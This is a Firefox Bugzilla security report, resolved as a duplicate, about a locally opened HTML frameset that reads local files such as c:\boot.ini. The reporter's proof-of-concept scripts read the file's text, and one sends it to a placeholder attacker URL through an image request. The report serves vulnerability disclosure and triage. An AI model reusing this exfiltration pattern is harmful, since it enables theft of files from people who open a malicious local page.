Closed Bug 382637 Opened 17 years ago Closed 17 years ago

Security flaw: attacker may read a file content

Categories

(Firefox :: Security, defect)

Product:
Firefox
Component:
Security
Platform:
x86
Windows 2000
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED DUPLICATE of bug 230606

People

(Reporter: tyter9, Unassigned)

Details

Attachments

(1 file)

testcase (windows)
317 bytes, text/html
Details 
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4

For the following HTML code:

<html>
<head>
<title>Exploit</title>
<script>
function fun() {
	var data = top.frames['name2'].document.body.textContent;
	alert(data);
}
</script>
</head>
<frameset onload="fun()">
	<frame src="frame.html" name="name1"/>
	<frame src="file://c:/boot.ini" name="name2"/>
</frameset>
</html>

We can see the content of the c:\boot.ini file. It's a bug in my
opinion. fun() function would to send essential data of any
file to an attacker host. There is a limit to exploit this issue:
A malicious HTML file must be stored on local disk.

Reproducible: Always

Steps to Reproduce:
1.
2.
3.
what is frame.html and does it need to exist for the testcase to work?
Assuming frame.html isn't important, I can't reproduce this with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4pre) Gecko/20070521 BonEcho/2.0.0.4pre. I get:

Security Error: Content at https://bugzilla.mozilla.org/attachment.cgi?id=266778 may not load or link to file:///c:/boot.ini.

Are you sure you weren't testing from a local file? Local files are allowed to link to other local files.
> Local files are allowed to link to other local files.

That's bug 230606 ;)
So, is it a normal browser behaviour?
What if I get some like this? (in zipped file):

attach.zip:
index.html:
<html>
<head>
<title>Exploit</title>
<script>
function fun() {
        var data = top.frames['name2'].document.body.textContent;
        var essence = ...parsing 'data' for an essential information
        var img = new Image();
        img.src = "attacker's URL" + essence;
}
</script>
</head>
<frameset onload="fun()">
        <frame src="frame.html" name="name1"/>
        <frame src="file://path_to_file" name="name2"/>
</frameset>
</html>

frame.html:
<html>
page content...
</html>

(In reply to comment #5)
> So, is it a normal browser behaviour?

Depends on where you're running the testcase. If you're doing it from your hard drive (i.e. from a file:// URL), then that is the expected behavior with current builds, yes. If you're running it from the web (e.g. from an http:// URL) then no, that is a privacy issue. Which one is it?
> Depends on where you're running the testcase.

I understand limits to exploit this issue. It seems that opening locally stored html files may be dangerous...
Dariusz, do you agree that this is a dup of bug 230606?
> Dariusz, do you agree that this is a dup of bug 230606?

Yes, I do. But why does this feature still exist in 2.0.0.4 version?
Group: security
Status: UNCONFIRMED → RESOLVED
Closed: 17 years ago
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: